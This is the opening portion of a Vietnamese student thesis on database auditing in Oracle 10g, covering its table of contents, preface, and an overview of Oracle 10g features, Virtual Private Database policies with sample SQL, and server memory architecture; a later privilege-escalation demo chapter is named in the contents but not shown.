doan oracle caothihongthuy
TRANSCRIPT
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
MỤC LỤC
Trang
MỤC LỤC.........................................................................................................1
DANH MỤC CÁC HÌNH VẼ...........................................................................4
DANH MỤC CÁC BẢNG................................................................................6
LỜI MỞ ĐẦU...................................................................................................7
Chương 1: TỔNG QUAN VỀ ORACLE 10G..................................................9
1.1. ƯU ĐIỂM CỦA ORACLE....................................................................9
1.2. TÍNH NĂNG CẢI TIẾN CỦA ORACLE 10G (ORACLE 10 GRID
COMPUTING)............................................................................................10
1.2.1. Oracle Database 10g.....................................................................11
1.2.2. Oracle Application Server 10g......................................................12
1.2.3. Oracle Enterprise Manager 10g....................................................13
1.2.4. Cải tiến an ninh cơ sở dữ liệu riêng ảo (VPD) Oracle 10g..........14
1.3. KIẾN TRÚC ORACLE SERVER.......................................................18
1.3.1. Oracle Instance..............................................................................18
1.3.2. Oracle database.............................................................................26
1.4. QUẢN TRỊ CSDL VỚI ORACLE ENTERPRISE MANAGER
(OEM).........................................................................................................32
1.4.1. Khởi động OEM trên server..........................................................32
1.4.2. Làm việc với OEM........................................................................33
1.4.3 Các chức năng chính của OEM......................................................34
1.5. KẾT NỐI TỚI ORACLE SERVER.....................................................35
1.5.1. Mô hình kết nối.............................................................................35
1.5.2. Một số khái niệm cơ bản liên quan đến kết nối............................36
1.6. BẢO MẬT TRONG ORACLE............................................................37
1.6.1 Trình tự kiện toàn an ninh Oracle Database 10g............................37
1.6.2. Bảo mật cơ sở dữ liệu....................................................................38
1.6.3. Nguyên lý đặc quyền tối thiểu.....................................................40
Chương 2: KIỂM TOÁN TRONG ORACLE 10G.........................................42
2.1. TẠI SAO PHẢI KIỂM TOÁN.............................................................42
2.1.1. Các hiểm hoạ đối với an toàn cơ sở dữ liệu..................................42
2.1.2. Các yêu cầu bảo vệ cơ sở dữ liệu..................................................45
Lớp AT3C - 1 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
2.1.3. Vai trò của kiểm toán trong việc bảo vệ cơ sở dữ liệu..................45
2.2. TỔNG QUAN VỀ KIỂM TOÁN........................................................46
2.2.1. Định nghĩa kiểm toán....................................................................46
2.2.2. Các loại đường mòn (Trail) và bản ghi (Record)..........................47
2.2.3. Duy trì đường mòn kiểm toán (Maintaining the Audit Trail)......56
2.3. CÁC LOẠI KIỂM TOÁN....................................................................57
2.3.1. Mandatory Auditing......................................................................58
2.3.2. Standard Database Auditing.........................................................59
2.3.3. Value-Based Auditing...................................................................73
2.3.4. Fine-Grained Auditing..................................................................75
2.3.5. DBA Auditing...............................................................................85
Chương 3: DEMO CHÈN MÃ SQL, PL/SQL NÂNG QUYỀN DBA VỚI
DBMS_EXPORT_EXTENSION TRONG ORACLE 10G............................87
3.1. KỊCH BẢN DEMO..............................................................................87
3.2. QUY MÔ DEMO.................................................................................91
3.3. KẾT QUẢ ĐẠT ĐƯỢC.......................................................................99
Chương 4: KẾT LUẬN.................................................................................100
4.1. KẾT QUẢ ĐẠT ĐƯỢC.....................................................................100
4.2. HẠN CHẾ..........................................................................................100
4.3. HƯỚNG PHÁT TRIỂN.....................................................................100
4.4. ĐỀ XUẤT..........................................................................................101
DANH MỤC CÁC TỪ VIẾT TẮT
Lớp AT3C - 2 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Từ viết tắt Ý nghĩa
SQL Structured Query Language
PL/SQL Procedural Language/Structured Query Language
OS Operating System
XML eXtensible Markup Language
SGA System Global Area
VPD Virtual Private Database
OEM Oracle Enterprise Manager
DANH MỤC CÁC HÌNH VẼ
Lớp AT3C - 3 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Trang
Hình 1.1: Cấu hình Oracle 10g.......................................................................12
Hình 1.2 Kiến trúc Oracle Server...................................................................20
Hinh 1.3: Cấu trúc của SGA...........................................................................21
Hình 1.4 Cấu trúc Share Pool.........................................................................21
Hình 1.5 Database buffer cache......................................................................23
Hình 1.6 Redo log buffer.................................................................................23
Hình 1.7 Database Writer (DBWR)................................................................25
Hình 1.8: Log Writer (LGWT).........................................................................26
Hình 1.9: Cấu trúc database...........................................................................28
Hình 1.10: Quan hệ giữa database, tablespace và datafile............................31
Hình 1.11: Cấu trúc lưu trữ (Storage)............................................................32
Hình 1.12: Giao diện đăng nhập database oracle..........................................35
Hình 1.13: Màn hình quản lý oracle...............................................................36
Hình 1.14: Giao diện Administrator...............................................................37
Hình 1.15: Kết nối tới Oracle server..............................................................38
Hình 2.1: OS Audit Trail................................................................................61
Hình 2.2: Standard Database Auditing..........................................................61
Hình 2.3: Bảng Privileges audit mặc định.....................................................69
Hình 2.4: Trang Enterprise Manager Audit....................................................73
Hình 2.5: Các đối tượng kiểm toán.................................................................74
Hình 2.6: Vô hiệu hóa tùy chọn kiểm toán......................................................75
Hình 2.7: Value-Based Auditing.....................................................................75
Hình 2.8: Ví vụ về chính sách kiểm toán.........................................................77
Hình 2.9: DBMS_FGA.ADD_POLICY Procedure.........................................80
Hình 2.10: Kiểm toán DML statement............................................................84
Lớp AT3C - 4 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Hình 3.1: Tạo User HONGTHUY...................................................................94
Hình 3.2: Tạo User GIAOVU..........................................................................94
Hình 3.3: Gán quyền và kiểm toán 2 user.......................................................95
Hình 3.4 SYS tạo bảng dữ liệu nhân sự..........................................................95
Hình 3.5: User GIAOVU tạo bảng DIEM.......................................................96
Hình 3.6: User HONGTHUY kết nối vào database........................................96
Hình 3.7: Show bảng dữ liệu...........................................................................97
Hình 3.8: Thực hiện file mã lệnh @hack........................................................97
Hình 3.9: User HONGTHUY nâng được thành quyền SYS............................98
Hình 3.10 : Kiểm tra lại quyền của HONGTHUY khi đã được nâng lên SYS 98
Hình 3.11: User HONGTHUY sửa đổi dữ liệu trong bảng GIAOVU.DIEM..99
Hình 3.12: User HONGTHUY chưa đủ quyền sửa dữ liệu của SYS...............99
Hình 3.13: Dùng câu lệnh Alter user để sửa pass của SYS thành hongthuy.100
Hình 3.14: Kết nối database và sửa đổi bảng NHANSU..............................100
Hình 3.15: Xem kiểm toán.............................................................................101
DANH MỤC CÁC BẢNG
Lớp AT3C - 5 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Trang
Bảng 1.1: Cấu trúc database...........................................................................34
Bảng 2.1: Bảng các cột audit trail và Operating System Audit Trail.............56
Bảng 2.2: Mức kiểm toán của Standard Auditing..........................................64
Bảng 2.3: Các Auditable Statements..............................................................68
Bảng 2.4: Bảng Object Auditing Options (Tùy chọn đối tượng kiểm toán). .70
Bảng 2.5: Bảng các yếu tố trong view V$XML_AUDIT_TRAIL.....................72
Bảng 2.6: Các thủ tục của gói DBMS_FGA...................................................78
Bảng 2.7: Các cột mới của dba_fga_audit_trail.............................................79
Bảng 2.8: Mô tả các thuộc tính DBMS_FGA.ADD_POLICY.........................82
LỜI MỞ ĐẦU
Lớp AT3C - 6 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Sự phát triển lớn mạnh của công nghệ thông tin trong những năm qua đã
dẫn đến sử dụng rộng rãi hệ thống máy tính trong mọi tổ chức cá nhân và
công cộng, chẳng hạn như ngân hàng, trường học, tổ chức dịch vụ và sản
xuất.Vì vậy, dữ liệu được lưu giữ và quản lý trong các hệ thống máy tính
nhiều hơn. Cơ sở dữ liệu sử dụng các hệ quản trị cơ sở dữ liệu đã đáp ứng
được các yêu cầu về lưu giữ và quản lý dữ liệu.Vấn đề bảo mật cơ sở dữ liệu
càng trở nên cấp thiêt.Giám sát và kiểm toán đã trở thành một phần không thể
thiếu trong lĩnh vực bảo mật cơ sở dữ liệu và với hệ quản trị cơ sở dữ liệu
Oracle cũng vậy.
Trong xu thế hiện nay Oracle đang ngày càng chiếm lĩnh được thị
trường nhờ những ưu điểm nổi bật cả về quản trị và bảo mật dữ liệu. Kiểm
toán trong hệ quản trị Oracle là một đề tài hấp dẫn trong lĩnh vực bảo mật.
Thấy được tầm quan trọng của việc kiểm toán đối với việc bảo vệ cơ sở dữ
liệu, được sự phân công của học viện và sự hướng dẫn nhiệt tình và chu đáo
của Ks.Trần Thị Lượng em đã tìm hiểu và nghiên cứu đề tài: “Kiểm Toán
Trong Oracle 10g”. Đề tài yêu cầu tập trung tìm hiểu và sử dụng kiểm toán
trong Oracle 10g, Oracle 10g là một phiên bản mới với nhiều tính năng vượt
trội của hệ quản trị cơ sở dữ liệu Oracle
Bố cục đồ án bao gồm bốn chương :
Chương 1: Tổng quan về Oracle 10g
Chương 2: Kiểm toán trong Oracle 10g
Chương 3: Demo Chèn Mã SQL, PL/SQL Nâng Quyền DBA Với
DBMS_EXPORT_EXTENSION Trong ORACLE 10g
Chương 4: Kết luận.
Do kinh nghiệm chưa nhiều nên đề tài không tránh khỏi những thiếu sót,
sơ xuất, nên em rất mong nhận được những nhận xét đánh giá của các thầy cô
và sự đóng góp ý kiến của các ta để có thể rút ra được kinh nghiệm cho việc
học tập, làm việc và nghiên cứu sau này. Em xin chân thành cảm ơn Cử nhân
Trần Thị Lượng, các thầy cô giáo trong khoa An Toàn Thông Tin Học Viện
Kỹ Thuật Mật Mã đã nhiệt tình hướng dẫn giúp đỡ em hoàn thành đồ án này.
Lớp AT3C - 7 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Sinh viên thực hiện
Cao Thị Hồng Thúy
Chương 1
TỔNG QUAN VỀ ORACLE 10G
Lớp AT3C - 8 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
1.1. ƯU ĐIỂM CỦA ORACLE.
Oracle không chỉ nhắm tới những doanh nghiệp lớn mà còn nhắm tới
những doanh nghiệp trung bình và cho cả những doanh nghiệp nhỏ.Cụ thể là
Oracle Server có đủ các phiên bản thương mại từ Personal, Standard đến
Enterprise (ngoài ra còn có Oracle lite).
Về phía các doanh nghiệp: Oracle tỏ ra rất có ưu điểm như tính bảo mật
cao, tính an toàn dữ liệu cao, dễ dàng bảo trì-nâng cấp, cơ chế quyền hạn rỏ
ràng, ổn định,...
Oracle cũng không quá đắt, nếu doanh nghiệp đã từng mua lisence của
MSSQLServer thì sẽ thấy giá của Oracle cũng không chênh lệch là bao thậm
chí còn rẻ hơn, nhưng lợi ích có được lại rất lớn.
Về phía những nhà phát triển: Oracle cũng tỏ ra rất có ưu điểm như dễ
cài đặt, dễ triển khai và dễ nâng cấp lên phiên bản mới. Hơn nữa Oracle còn
tích hợp thêm PL/SQL, là một ngôn ngữ lập trình có cấu trúc - Structure
Language. Tạo thuận lợi cho các lập trình viên viết các Trigger,
StoreProcedure, Package. Đây là điểm rất mạnh so với các CSDL hiện có trên
thị trường.
Oracle, ngoài các kiểu dữ liệu thông thường còn có các kiểu dữ liệu đặc
biệt khác góp phần mang lại sức mạnh cho Oracle như Blob, clob, Bfile, ...
Nếu ta chỉ chạy thử, ta cũng không cần lo đến vấn đề lisence vì có thể
download từ trang của Oracle (technet.oracle.com).
Ngoài ra, ta có thể triển khai Oracle trên nhiều OS khác nhau (Windows,
Solaris, Linux,...) mà không cần phải viết lại PL/SQL code. Có thể import
một dumpFile (backupFile) từ một máy chạy OS này sang OS khác hoặc từ
một version thấp lên một version cao hơn mà không gặp bất cứ trở ngại nào !
(việc ngược lại cũng có thể thực hiện được nếu như ta không xài các tính
năng mới so với version trước đó).
1.2. TÍNH NĂNG CẢI TIẾN CỦA ORACLE 10G (ORACLE 10 GRID
COMPUTING).
Oracle Database 10g được phát hành với phiên bản 10.1.0.2 vào mùa
xuân năm 2004. Oracle Database 10g là hệ thống cơ sở dữ liệu đầu tiên được
Lớp AT3C - 9 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
thiết kế nhằm tăng sức mạnh lưu trữ và xử lý dữ liệu dựa trên công nghệ tính
toán lưới (Grid Computing).
Việc phát hành Oracle10g cung cấp cơ sở hạ tầng hiệu năng cao toàn
diện, bao gồm:
Khả năng mở rộng của các sở để doanh nghiệp các trang web
thương mại điện tử
Mạnh mẽ, đáng tin cậy, có sẵn, và kiến trúc an toàn.
Một mô hình phát triển lựa chọn triển khai dễ dàng.
Tận dụng skillset hiện hành của một tổ chức trong suốt nền tảng
Oracle (bao gồm cả SQL,PL / SQL, Java, và XML)
Một giao diện quản lý cho tất cả các ứng dụng.
Tiêu chuẩn công nghiệp công nghệ , không có độc quyền trong
khóa
Hình 1.1: Cấu hình Oracle 10gNgheĐọc ngữ âm
Ngoài việc cung cấp những lợi ích được liệt kê ở trên, việc phát hành
Oracle10g chứa các cơ sở dữ liệu lưới điện. Lưới điện toán có thể làm giảm
đáng kể chi phí của máy tính, mở rộng sự sẵn có của tài nguyên máy tính, và
cung cấp năng suất cao hơn và chất lượng.
Ý tưởng cơ bản của tính toán lưới là khái niệm về máy tính như là một
tiện ích, tương tự như điện mạng lưới hoặc mạng điện thoại. Là một khách
hàng của lưới điện, ta không quan tâm, nơi dữ liệu hoặc khi tính toán được
Lớp AT3C - 10 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
thực hiện. Muốn có tính toán thực hiện và thông tin gửi đến khi muốn nó. Từ
phía máy chủ, mạng lưới là về ảo hóa và cung cấp. Tập hợp tất cả các nguồn
tài nguyên với nhau và cung cấp các tài nguyên này dựa trên nhu cầu của
doanh nghiệp, do đó đạt được sử dụng nguồn lực tốt hơn ở cùng thời gian.
Sản phẩm ba lưới cơ sở hạ tầng (The three grid-infrastructure) của việc
phát hành Oracle10g là:
Oracle Database 10g
Oracle Application Server 10g
Oracle Enterprise Manager 10g Grid Control
Và cải tiến về cơ sở dữ liệu đã tạo ra bước đột phá cho Oracle 10g
1.2.1. Oracle Database 10g
Oracle Database 10g được thiết kế để lưu trữ và quản lý thông tin doanh
nghiệp. Cơ sở dữ liệu Oracle 10g cắt giảm chi phí quản lý và cung cấp dịch
vụ chất lượng cao. Giảm cấu hình và yêu cầu quản lý và điều chỉnh tự động
SQL đã giảm đáng kể chi phí duy trì môi trường.
Oracle Database 10g góp phần vào các sản phẩm cơ sở hạ tầng mạng
lưới của Oracle 10g phát hành.Tính toán lưới là tất cả về máy tính như là một
tiện ích. Nếu là một khách hàng, không cần phải biết nơi dữ liệu lưu trữ. Có
thể yêu cầu thông tin hoặc tính toán trên dữ liệu và có nó sẽ được gửi.
Oracle Database 10g quản lý tất cả dữ liệu. Đây không chỉ là các đối
tượng dữ liệu quan hệ mong đợi một cơ sở dữ liệu doanh nghiệp để quản lý.
Nó cũng có thể quản lý được dữ liệu phi cấu trúc như:
Bảng tính
Các tài liệu Word
Bài thuyết trình PowerPoint
XML
Kiểu dữ liệu đa phương tiện như MP3, video, đồ họa, và nhiều
hơn nữa
Các dữ liệu thậm chí không có được trong cơ sở dữ liệu. Oracle
Database 10g có các dịch vụ thông qua có thể lưu trữ siêu dữ liệu về thông tin
Lớp AT3C - 11 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
được lưu trữ trong hệ thống tập tin. Có thể sử dụng cơ sở dữ liệu máy chủ để
quản lý và phục vụ thông tin bất cứ nơi nào nó nằm.
1.2.2. Oracle Application Server 10g
Oracle Application Server 10g cung cấp một nền tảng cơ sở hạ tầng hoàn
chỉnh cho việc phát triển và triển khai các ứng dụng doanh nghiệp, tích hợp
nhiều chức năng bao gồm một J2EE và các dịch vụ Web thời gian chạy môi
trường, một cổng thông tin doanh nghiệp, một hội nhập doanh nghiệp môi
giới, kinh doanh thông minh, bộ nhớ đệm Web và các dịch vụ quản lý danh
tính.
Oracle Application Server 10g thêm các tính năng mạng lưới điện toán
mới, xây dựng trên sự thành công củaOracle9i Application Server, trong đó
có hàng trăm khách hàng chạy doanh nghiệp sản xuất ứng dụng.
Oracle Application Server 10g là các máy chủ ứng dụng bao gồm các
dịch vụ cho tất cả các máy chủ ứng dụng khác nhau có thể muốn chạy, bao
gồm:
Cổng thông tin hoặc những trang web
Giao dịch các ứng dụng Java
Kinh doanh các ứng dụng thông minh
Nó cũng cung cấp tích hợp giữa các người sử dụng, ứng dụng, và số liệu
trong các tổ chức.
1.2.3. Oracle Enterprise Manager 10g
Grid Control
Cung cấp phần mềm.
Ứng dụng theo dõi mức độ dịch vụ.
Oracle Enterprise Manager 10g Grid Control là, hoàn toàn tích hợp,
trung tâm quản lý giao diện điều khiển và khuôn khổ cơ bản để tự động hoá
các nhiệm vụ hành chính trên toàn bộ hệ thống trong một lưới môi trường.
Với Oracle Grid Control, có thể nhóm các nút phần cứng nhiều, cơ sở dữ
liệu,ứng dụng máy chủ, và các mục tiêu vào các thực thể duy nhất hợp lý.
Bằng cách thực hiện công việc, thực thi tiêu chuẩn chính sách, giám sát hoạt
Lớp AT3C - 12 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
động và tự động hoá nhiều nhiệm vụ khác trong một nhóm mục tiêu thay vì
trên nhiều hệ thống riêng, Grid Control cho phép mở rộng quy mô với phát
triển một lưới điện.
1.2.3.1. Cung cấp phần mềm
Với Grid Control, Oracle 10g tự động cài đặt, cấu hình, và nhân bản của
ứng dụng Server 10g và Database 10g trên các nút bội. Oracle Enterprise
Manager cung cấp một khuôn khổ chung cho cung cấp phần mềm và quản lý,
cho phép các quản trị viên tạo, cấu hình, triển khai và sử dụng các máy chủ
mới với các trường hợp mới của các máy chủ ứng dụng và cơ sở dữ liệu khi
cần thiết.
1.2.3.2. Mức độ Dịch vụ ứng dụng Giám sát
Oracle Grid Control quan điểm sẵn có và hiệu suất của các cơ sở hạ tầng
lưới điện như là một thể thống nhất, chứ không phải là đơn vị lưu trữ bị cô
lập, xử lý ô,cơ sở dữ liệu, và máy chủ ứng dụng.
1.2.4. Cải tiến an ninh cơ sở dữ liệu riêng ảo (VPD) Oracle 10g
1.2.4.1. Chính sách mức cột VPD
Trong CSDL riêng ảo truyền thống chính sách VPD được áp dụng cho
toàn bộ các hàng. Theo mặc định, một chính sách mức-cột VPD cho phép
hạn chế các hàng cột hiển thị trừ các cột được chỉ định là truy cập.Sau đây là
code ví dụ:Tạo hàm chính sách để hạn chế truy cập vào các cột SAL và
COMM
CONN sys/password@db10g AS SYSDBA
GRANT EXECUTE ON dbms_rls TO scott;
CONN scott/tiger@db10g
-- Tạo hàm chính sách để hạn chế truy cập vào các cột SAL và COMM
-- Nếu nhân viên không phải là 1 phần của department 20.
CREATE OR REPLACE FUNCTION pf_job (oowner IN VARCHAR2, ojname IN
VARCHAR2)
RETURN VARCHAR2 AS
con VARCHAR2 (200);
BEGIN
Lớp AT3C - 13 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
con := 'deptno = 20';
RETURN (con);
END pf_job;
/
-- Áp dụng hàm chính sách cho bảng.
BEGIN
DBMS_RLS.ADD_POLICY (object_schema => 'scott',
object_name => 'emp',
policy_name => 'sp_job',
function_schema => 'scott',
policy_function => 'pf_job',
sec_relevant_cols => 'sal,comm');
END;
/
-- Chúng ta thấy tất cả các bản ghi nếu SAL and COMM không được tham
chiếu
SELECT empno, ename, job FROM emp;
EMPNO ENAME JOB
---------- ---------- ---------
7369 SMITH CLERK
.
.
7934 MILLER CLERK
14 hàng được chọn.
-- Các hàng bị hạn chế nếu SAL or COMM được tham chiếu.
SELECT empno, ename, job, sal, comm FROM emp;
EMPNO ENAME JOB SAL COMM
---------- ---------- --------- ---------- ----------
7369 SMITH CLERK 10000
7566 JONES MANAGER 2975
7788 SCOTT ANALYST 3000
7876 ADAMS CLERK 1100
7902 FORD ANALYST 3000
5 hàng được chọn.
--Hủy bỏ các hàm chính sách trong bảng.
BEGIN
DBMS_RLS.DROP_POLICY (object_schema => 'scott',
Lớp AT3C - 14 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
object_name => 'emp',
policy_name => 'sp_job');
END;
/
1.2.4.2. Cột Masking
Cột che giấu các thao tác được thực hiện bằng cách sử dụng tham số
“sec_relevant_cols_opt => DBMS_RLS.ALL_ROWS”. Điều này cho phép
hiển thị tất cả các hàng, nhưng giấu đi giá trị của các cột được chỉ định cho
các hàng bị hạn chế:
--Sử dụng cùng một hàm chính sách như trước đây.
BEGIN
DBMS_RLS.ADD_POLICY (object_schema => 'scott',
object_name => 'emp',
policy_name => 'sp_job',
function_schema => 'scott',
policy_function => 'pf_job',
sec_relevant_cols => 'sal,comm',
sec_relevant_cols_opt => DBMS_RLS.ALL_ROWS);
END;
/
--Tất cả các hàng được trả lại nhưng giá trị của SAL và COMM là duy
nhất
--Chỉ ra nhân viên trong bộ phận 20.
SELECT empno, ename, job, sal, comm FROM emp;
EMPNO ENAME JOB SAL COMM
---------- ---------- --------- ---------- ----------
7369 SMITH CLERK 10000
7499 ALLEN SALESMAN
7521 WARD SALESMAN
7566 JONES MANAGER 2975
7654 MARTIN SALESMAN
7698 BLAKE MANAGER
7782 CLARK MANAGER
7788 SCOTT ANALYST 3000
7839 KING PRESIDENT
7844 TURNER SALESMAN
7876 ADAMS CLERK 1100
EMPNO ENAME JOB SAL COMM
Lớp AT3C - 15 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
---------- ---------- --------- ---------- ----------
7900 JAMES CLERK
7902 FORD ANALYST 3000
7934 MILLER CLERK
14 rows selected.
--Hủy bỏ các hàm chính sách từ bảng
BEGIN
DBMS_RLS.DROP_POLICY (object_schema => 'scott',
object_name => 'emp',
policy_name => 'sp_job');
END;
/
1.2.4.3. Các loại chính sách
Việc sử dụng đúng các loại chính sách có thể tăng hiệu suất của VPD bởi
bộ nhớ đệm đầu ra của các hàm chính sách và áp dụng nó cho các truy vấn
tiếp theo mà không cần thực hiện các hàm chính sách này một lần nữa. Các
tham số POLICY_TYPE của thủ tục DBMS_RLS.ADD_POLICY được sử
dụng để thiết lập một trong năm chính sách:
STATIC - Giá trị trả về của hàm chính sách được lưu trữ và sử
dụng lại nhiều lần cho một đối tượng cá nhân. Theo định nghĩa giá
trị trả về của hàm chính sách phải được cố định.
SHARED_STATIC - Giống như STATIC nhưng các thuộc tính
của kết quả có thể được áp dụng cho một số đối tượng.
CONTEXT_SENSITIVE – Được sử dụng khi chính sách dựa trên
bối cảnh ứng dụng cục bộ. Kết quả của hàm chính sách được lưu
trữ và tái sử dụng. Hàm chính sách này chỉ thực hiện một lần nữa
khi những bối cảnh ứng dụng thay đổi.
SHARED_CONTEXT_SENSITIVE- Giống như
CONTEXT_SENSITIVE nhưng các thuộc tính của kết quả có thể
được áp dụng cho một số đối tượng.
DYNAMIC- Hàm chính sách được thực thi cho mỗi câu lệnh SQL
Lớp AT3C - 16 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Ví dụ:
BEGIN
DBMS_RLS.ADD_POLICY (object_schema => 'scott',
object_name => 'emp',
policy_name => 'sp_job',
function_schema => 'scott',
policy_function => 'pf_job',
policy_type => DBMS_RLS.STATIC,
sec_relevant_cols => 'sal,comm',
sec_relevant_cols_opt => DBMS_RLS.ALL_ROWS);
END;
/
1.2.4.4. Bối cảnh ứng dụng hỗ trợ cho các truy vấn song song
Khi SYS_CONTEXT được gọi từ một chức năng trong một truy vấn
SQL song song thì giá trị của bối cảnh được thông qua tới tất cả các máy chủ
thẹc hiện song song (các quá trình truy vấn nô lệ) cho phép truy vấn để hoạt
động chúng.
1.3. KIẾN TRÚC ORACLE SERVER.
Oracle server là một hệ thống quản trị cơ sở dữ liệu đối tượng-quan hệ
cho phép quản lý thông tin một cách toàn diện. Oracle server bao gồm hai
thành phần chính là Oracle instance và Oracle database.
1.3.1. Oracle Instance
Oracle instance bao gồm một cấu trúc bộ nhớ System Global Area
(SGA) và các background processes (tiến trình nền) được sử dụng để quản trị
cơ sở dữ liệu. Oracle instance được xác định qua tham số môi trường
ORACLE_SID của hệ điều hành.
Lớp AT3C - 17 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Hình 1.2 Kiến trúc Oracle Server
System Global Area - SGA
SGA là vùng bộ nhớ chia sẻ được sử dụng để lưu trữ dữ liệu và các
thông tin điều khiển của Oracle server. SGA được cấp phát (allocated) trong
bộ nhớ của máy tính mà Oracle server đang hoạt động trên đó. Các User kết
nối tới Oracle sẽ chia sẻ các dữ liệu có trong SGA, việc mở rộng không gian
bộ nhớ cho SGA sẽ làm nâng cao hiệu suất của hệ thống, lưu trữ được nhiều
dữ liệu trong hệ thống hơn đồng thời giảm thiểu các thao tác truy xuất đĩa
(disk I/O).
SGA bao gồm một vài cấu trúc bộ nhớ chính:
Shared pool: Là một phần của SGA lưu các cấu trúc bộ nhớ chia
sẻ.
Database buffer cache: Lưu trữ các dữ liệu được sử dụng gần nhất.
Redo log buffer: Được sử dụng cho việc dò tìm lại các thay đồi
trong cơ sở dữ liệu và được thực hiện bởi các background process.
Lớp AT3C - 18 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Hinh 1.3: Cấu trúc của SGA.
1.3.1.1. Share Pool.
Shared pool là một phần trong SGA và được sử dụng khi thực hiện phân
tích câu lệnh (parse phase). Kích thước của Shared pool được xác định bởi
tham số SHARED_POOL_SIZE có trong parameter file (file tham số).
Các thành phần của Shared pool gồm có: Library cache và Data
dictionary cache.
Hình 1.4 Cấu trúc Share Pool
1.3.1.2. Library Cache.
Library cache lưu trữ thông tin về các câu lệnh SQL được sử dụng gần
nhất bao gồm:
Nội dung của câu lệnh dạng text (văn bản).
Lớp AT3C - 19 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Parse tree (cây phân tích) được xây dựng tuỳ thuộc vào câu lệnh.
Execution plan (sơ đồ thực hiện lệnh) gồm các bước thực hiện và
tối ưu lệnh.
Do các thông tin trên đã được lưu trữ trong Library cache nên khi thực
hiện lại một câu lệnh truy vấn, trước khi thực hiện câu lệnh, Server process sẽ
lấy lại các thông tin đã được phân tích mà không phải phân tích lại câu lệnh.
Do vậy, Library cache có thể giúp nâng cao hiệu suất thực hiện lệnh.
1.3.1.3. Data Dictionary Cache.
Data dictionary cache là một thành phần của Shared pool lưu trữ thông
tin của dictionary cache được sử dụng gần nhất như các định nghĩa các bảng,
định nghĩa các cột, usernames, passwords, và các privileges (quyền).
Trong giai đoạn phân tích lệnh (parse phase), Server process sẽ tìm các
thông tin trong dictionary cache để xác định các đối tượng trong câu lệnh
SQL và để xác định các mức quyền tương ứng. Trong trường hợp cần thiết,
Server process có thể khởi tạo và nạp các thông tin từ các file dữ liệu.
1.3.1.4. Data buffer cache.
Khi thực hiện một truy vấn, Server process sẽ tìm các blocks cần thiết
trong database buffer cache. Nếu không tìm thấy block trong database buffer
cache, Server process mới đọc các block từ data file và tạo luôn một bản sao
của block đó vào trong vùng nhớ đệm (buffer cache). Như vậy, với các lần
truy xuất tới block đó sau này sẽ không cần thiết phải truy xuất vào datafile
nữa.
Hình 1.5 Database buffer cache
Database buffer cache là vùng nhớ trong SGA sử dụng để lưu trữ các
block dữ liệu được sử dụng gần nhất. Tương tự như kích thước của blocks dữ
Lớp AT3C - 20 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
liệu được xác định bởi tham số DB_BLOCK_SIZE, kích thước của vùng đệm
trong buffer cache cũng được xác định bởi tham số DB_BLOCK_BUFFERS.
Oracle server sử dụng giải thuật least recently used (LRU) algorithm để
làm tươi lại vùng nhớ. Theo đó, khi nạp mới một block vào bộ đệm, trong
trường hợp bộ đệm đã đầy, Oracle server sẽ loại bớt block ít được sử dụng
nhất ra khỏi bộ đệm để nạp block mới vào bộ đệm.
1.3.1.5. Redo log buffer.
Server process ghi lại các thay đổi của một instance vào redo log buffer,
đây cũng là một phần bộ nhớ SGA.
Hình 1.6 Redo log buffer
Có một số đặc điểm cần quan tâm của Redo log buffer:
Kích thước được xác định bởi tham số LOG_BUFFER.
Lưu trữ các redo records (bản ghi hồi phục) mỗi khi có thay đổi
dữ liệu.
Redo log buffer được sử dụng một cách thường xuyên và các thay
đổi bởi một transaction có thể nằm đan xen với các thay đổi của
các transactions khác.
Bộ đệm được tổ chức theo kiểu circular buffer (bộ đệm nối vòng)
tức là dữ liệu thay đổi sẽ tiếp tục được nạp lên đầu sau khi vùng
đệm đã được sử dụng hết.
Background process
Background process (các tiến trình nền) thực hiện các chức năng thay
cho lời gọi tiến trình xử lý tương ứng. Nó điều khiển vào ra, cung cấp các cơ
Lớp AT3C - 21 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
chế xử lý song song nâng cao hiệu quả và độ tin cậy. Tùy theo từng cấu hình
mà Oracle instance có các Background process như:
Database Writer (DBW0): Ghi lại các thay đổi trong data buffer
cache ra các file dữ liệu.
Log Writer (LGWR): Ghi lại các thay đổi được đăng ký trong
redo log buffer vào các redo log files.
System Monitor (SMON): Kiểm tra sự nhất quán trong database.
Process Monitor (PMON): Dọn dẹp lại tài nguyên khi các tiến
trình của Oracle gặp lỗi.
Checkpoint Process (CKPT): Cập nhật lại trạng thái của thông tin
trong file điều khiển và file dữ liệu mỗi khi có thay đổi trong
buffer cache.
1.3.1.6. Database Writer (DBW0).
Server process ghi lại các dữ liệu thay đổi để rollback và dữ liệu của các
